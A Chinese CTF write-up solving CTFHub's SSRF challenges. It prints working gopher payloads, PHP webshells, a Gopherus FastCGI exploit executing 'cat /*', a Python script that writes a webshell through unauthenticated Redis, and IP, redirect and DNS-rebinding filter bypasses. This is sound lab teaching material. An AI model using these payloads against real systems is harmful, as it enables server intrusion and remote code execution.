[SSRF]CTFHUB SSRF
在 CTFHUB SSRF 做题记录
SSRF
SSRF (Server-Side Request Forgery,服务器端请求伪造)由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
一般情况下,SSRF针对的都是一些外网无法访问的内网,所以需要SSRF使目标后端去访问内网,进而达到我们攻击内网的目的。
通过SSRF,我们可以访问目标内网的redis服务,mysql服务,smpt服务,fastcgi服务等
SSRF漏洞相关函数和类
函数
file_get_contents()
:将整个文件或一个 url 所指向的文件读入一个字符串中。readfile()
:输出一个文件的内容。fsockopen()
:打开一个网络连接或者一个 Unix 套接字连接。curl_exec()
:初始化一个新的会话,返回一个 cURL 句柄,供curl_setopt()
,curl_exec()
和curl_close()
函数使用。fopen()
:打开一个文件文件或者 URL。
类
SSRF攻击涉及的协议
http/https协议
探测内网主机存活
dict协议
泄露安装软件版本信息,查看端口,操作内网redis服务等,dict协议与http协议可用来探测内网的主机存活与端口开放情况。
file伪协议
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen
与allow_url_include
的影响。
Gopher协议
gopher支持发出GET、POST请求,也可用于反弹 shell 。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议),利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等。
FastCGI协议
Redis协议
RESP协议
Redis 服务器与客户端通过 RESP(REdis Serialization Protocol)协议通信。
RESP 协议是在 Redis 1.2 中引入的,但它成为了与 Redis 2.0 中的 Redis 服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。
RESP在Redis中用作请求 - 响应协议的方式如下:
- 客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
- 服务器根据命令实现回复一种RESP类型。
:::tips
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。
:::
CTFHUB SSRF
CTFHUB SSRF 内网访问
看到这样的url下意识想到ssrf,既然是让我们从目标主机内网环境访问其本地的flag.php
,构造payload:
?url=http://127.0.0.1/flag.php
这就是因为过滤不严谨,导致我们可以直接访问内网
CTFHUB SSRF 伪协议读取文件
直接访问?url=http://127.0.0.1/flag.php
不能访问
尝试用file://
伪协议读取,payload:
/?url=file:///var/www/html/flag.php
CTFHUB SSRF 端口扫描
既然告诉了我们是内网端口扫描,那我们就要利用ssrf漏洞探测目标主机上还开放了哪些端口。在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。
这里的端口扫描我们用burpsuite抓包,发送到Intruder进行爆破设置:
设置类型为** Numbers **,From 8000 To 9000
爆破查找不同的长度
最终在8896端口发现Apache的web服务,我门再利用ssrf加http协议访问目标主机的8896端口即可得到flag,payload:
?url=[http://127.0.0.1:8896](http://127.0.0.1:8896)
CTFHUB SSRF POST请求
进行目录扫描,发现了index.php
和flag.php
(302.php
被删了,因为302.php
里面是个302跳转,多余了没有必要),先读一下index.php
和flag.php
?url=file:/var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init(); //初始化一个cURL对话
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //设置cURL会话的目标URL,URL由用户请求中的"url"参数提供。
curl_setopt($ch, CURLOPT_HEADER, 0); //设置cURL是否包括头信息。在这里,它被设置为0,表示不包括头信息。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //置cURL在执行时是否应该继续跟随重定向。这里被设置为1,表示允许cURL自动跟随重定向。
curl_exec($ch); //执行cURL会话,获取指定URL的内容
curl_close($ch); //关闭cURL对话
?url=file:/var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
代码必须要从本地127.0.0.1访问(由于是SSRF,所以不可能是修改XXF这么简单的),我们构造payload让目标机从本地访问flag.php
?url=[http://127.0.0.1/flag.php](http://127.0.0.1/flag.php)
查看源代码,得到key
,但是页面没有提交按钮,需要自己构造POST请求,讲key
发送出去,用gopher协议构造POST请求
题目给了提示,**curl**
会跟踪302跳转,这个点主要用于参数长度或内容有限制的时候,可以通过302跳转来实现ssrf。例如,限制了url长度,那么可以在自己的vps或者靶机上,上传构造好的(**Location: gopher://xxxxxxxx**
)跳转页面,然后直接访问跳转页面,即可实现ssrf。
法1——手搓
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=1e2e84bf345d38c316e5541b92c4a925
Content-Length: 36就是你需要发送的信息的长度,然后就可以开始编码了,具体进行几次编码取决于你的请求次数
gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D1e2e84bf345d38c316e5541b92c4a925
把%0A替换成%0d%0A,结尾加上%0d%0A,并且末尾要加上%0d%0a(\r\n)
gopher%253A%252F%252F127.0.0.1%253A80%252F_POST%2520%252Fflag.php%2520HTTP%252F1.1%250AHost%253A%2520127.0.0.1%253A80%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250AContent-Length%253A%252036%250A%250Akey%253D1e2e84bf345d38c316e5541b92c4a925%0d%0a
然后在进行一次URL编码
gopher%25253A%25252F%25252F127.0.0.1%25253A80%25252F_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250AHost%25253A%252520127.0.0.1%25253A80%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250AContent-Length%25253A%25252036%25250A%25250Akey%25253D1e2e84bf345d38c316e5541b92c4a925%250d%250a
法2——脚本
直接使用python脚本即可生成符合gopher协议格式的payload
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
# Content-Length应为字符串“key=1e2e84bf345d38c316e5541b92c4a925”的长度。
key=1e2e84bf345d38c316e5541b92c4a925
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
# 这里因为是GET请求所以要进行两次url编码
注意:上面那四个参数是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。
得到:gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D1e2e84bf345d38c316e5541b92c4a925%250D%250A
直接抓包放
CTFHUB SSRF 文件上传
扫描目录发现flag.php
,读一下
直接访问不行,必须通过目标机本地访问:
发现可以文件上传,但是没有提交按钮???
这题和上一题“POST请求”其实差不多,只不过上一题用POST
方法传递key
,这道题用POST
方法传递的是文件。
接着,我们将index.php
和flag.php
的源码读出来:
?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php
在flag.php
页面增加 **提交 **按钮
<input type="submit" name="submit">
传一个马,抓包
将抓到的包内容复制到脚本中,把Host
头改成127.0.0.1
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 320
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://challenge-61c6a1d67a3192e0.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfz12DQ4VKPIR9535
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-61c6a1d67a3192e0.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryfz12DQ4VKPIR9535
Content-Disposition: form-data; name="file"; filename="ma.php"
Content-Type: application/octet-stream
<?php
eval($_POST[1]);
?>
------WebKitFormBoundaryfz12DQ4VKPIR9535
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryfz12DQ4VKPIR9535--
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
生成
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520320%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-61c6a1d67a3192e0.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryfz12DQ4VKPIR9535%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/119.0.0.0%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.7%250D%250AReferer%253A%2520http%253A//challenge-61c6a1d67a3192e0.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryfz12DQ4VKPIR9535%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522ma.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250Aeval%2528%2524_POST%255B1%255D%2529%253B%250D%250A%253F%253E%250D%250A------WebKitFormBoundaryfz12DQ4VKPIR9535%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundaryfz12DQ4VKPIR9535--%250D%250A%250D%250A
CTFHUB SSRF FastCGI协议
Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
FastCGI
Wikipedia对FastCGI的解释:快速通用网关接口(Fast****Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。
php-fpm
官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口。
php-fpm攻击实现原理
想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME’: ‘/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。
而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。
那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On时,就会在执行php脚本之前包含环境变量auto_prepend_file所指向的文件内容,php://input也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。
接下来,我们使用 Gopherus工具生成攻击FastCGI的payload。
利用条件:
- libcurl版本>=7.45.0
- PHP-FPM监听端口
- PHP-FPM版本 >= 5.3.3
- 知道服务器上任意一个php文件的绝对路径
攻击协议:python gopherus.py --exploit fastcgi
明确攻击协议,然后构造访问用的playload
文件:/var/www/html/index.php
/index.php
输入一个已知存在的php文件
命令执行:cat /*
查看根目录下所有文件
获得如下payload:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20/%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
经过二次编码(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码)(不知道怎么回事我只用进行一次编码,可能工具升级了???):
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH58%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253A%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2F%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
CTFHUB SSRF Redis协议
主要是利用Redis未授权访问,实现像目标主机写入Webshell、SSH公钥,或写入计划任务实现反弹shell。
Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis 在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。,也可以直接写入Webshell或者写入计划任务进行反弹shell。
扫了下目录没东西,既然是Redis,那么应该就是利用SSRF对目标主机上的Redis进行未授权访问攻击。
进行端口扫描,题目提示 Redis 默认在 6379 端口,那么我们扫描 6000-7000 试试看
可以看到 6379 端口返回包发现 Redis 报错,说明目标主机上确实运行着Redis服务,并且端口为其默认端口6379。
利用未授权访问攻击Redis的方法有很多,我们可以写webshell、反弹shell,也可以写ssh公钥,这里我们用写webshell的方法。
法1
还是使用 Gopherus 工具,用 Redis 协议
python2 gopherus.py --exploit redis
将得到的 payload 进行二次编码,赋值给 url 后发现 504 超时,但是其实木马已经写入了
用蚁剑链接后找到根目录下 flag
法2
利用Redis来写webshell
redis命令:
flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
直接用 py 脚本得到二次编码后的 payload
import urllib
from urllib import parse
protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload_prefix = protocol + ip + ":" + port + "/_"
CRLF = "\r\n"
def redis_format(arr):
redis_arr = arr.split(" ")
cmd_ = ""
cmd_ += "*" + str(len(redis_arr))
for x_ in redis_arr:
cmd_ += CRLF + "$" + str(len((x_.replace("${IFS}", " ")))) + CRLF + x_.replace("${IFS}", " ")
cmd_ += CRLF
return cmd_
if __name__ == "__main__":
payload = ""
for x in cmd:
payload += parse.quote(redis_format(x)) # url编码
payload = payload_prefix + parse.quote(payload) # 再次url编码
print(payload)
CTFHUB SSRF URL Bypass
说url必须以 “http://notfound.ctfhub.com
” 开头。我们可以利用@来绕过,如 http://whoami@127.0.0.1
实际上是以用户名 whoami
连接到站点127.0.0.1
,即 http://notfound.ctfhub.com@127.0.0.1
与 http://127.0.0.1
请求是相同的,该请求得到的内容都是127.0.0.1
的内容。
我们扫描目录,发现了flag.php,构造如下payload即可绕过限制访问flag.php:
http://notfound.ctfhub.com@127.0.0.1/flag.php
CTFHUB SSRF 数字IP Bypass
绕过127.0.0.1的方法有很多,如下给出几个实例:
利用进制转换
php进制转换脚本:
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>
得到:
127.0.0.1:
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
因此也可以这样写payload:
?url=http://2130706433/flag.php
?url=http://0x7f.0.0.1/flag.php
?url=http://0177.0.0.1/flag.php
利用其他各种指向127.0.0.1的地址
?url=http://localhost/
?url=http://0/
?url=http://0.0.0.0/flag.php
?url=http://127.1/flag.php
?url=http://sudo.cc/flag.php //302跳转
CTFHUB SSRF 302跳转 Bypass
扫描目录发现flag.php,直接访问它,说必须从目标机本地访问,所以我们构造?url=http://127.0.0.1/flag.php
,发现被检测了
题目提示 302 跳转,302 跳转就是由一个URL跳转到另外一个URL当中去,就比如一个网站的网址更新了,一部分的用户还不知道,就可以使用302跳转,从旧的网址跳转到新的网址上,按照这个思路,我们需要实现另外一种表达方式绕过127.0.0.1/flag.php
。
这边xip.io
和各种短网址生成都不能用,故用上一题解法
发现sudo.cc
可以用,?url=http://sudo.cc/flag.php
CTFHUB SSRF DNS重绑定 Bypass
对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤:
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行攻击了,完整的攻击流程为:
- 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
- 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
- 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
- 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
由于我们无法在程序运行时以毫秒为单位手动更改dns记录,因此需要配置一个自定义DNS服务器,并设定好某些域名的解析IP,再将TTL设置为0,这样后端就不会有缓存。我们可以自己编写解析服务,也可以利用这个网站获取一个测试用的域名:https://lock.cmpxchg8b.com/rebinder.html
通过修该域名对应的IP,使一个域名对应两个IP,那么在多次的访问之下产生的访问效果是一样的实现IP绕过。但是它只能在2个IP之间随机变化,因此往往需要发送多个请求才能得到我想要的结果。
我们利用该域名即可绕过限制成功访问flag.php得到flag,但是要不停访问数次才行(可以借助burpsuite):
<font style="color:rgb(51, 51, 51);">?url=7f000001.c0a80001.rbndr.us/flag.php</font>
访问过程中会不断出现以下报错,这是因为这个域名是不断的在127.0.0.1与192.168.0.1之间跳动的,所以要不断访问数次,这边用 bp 测试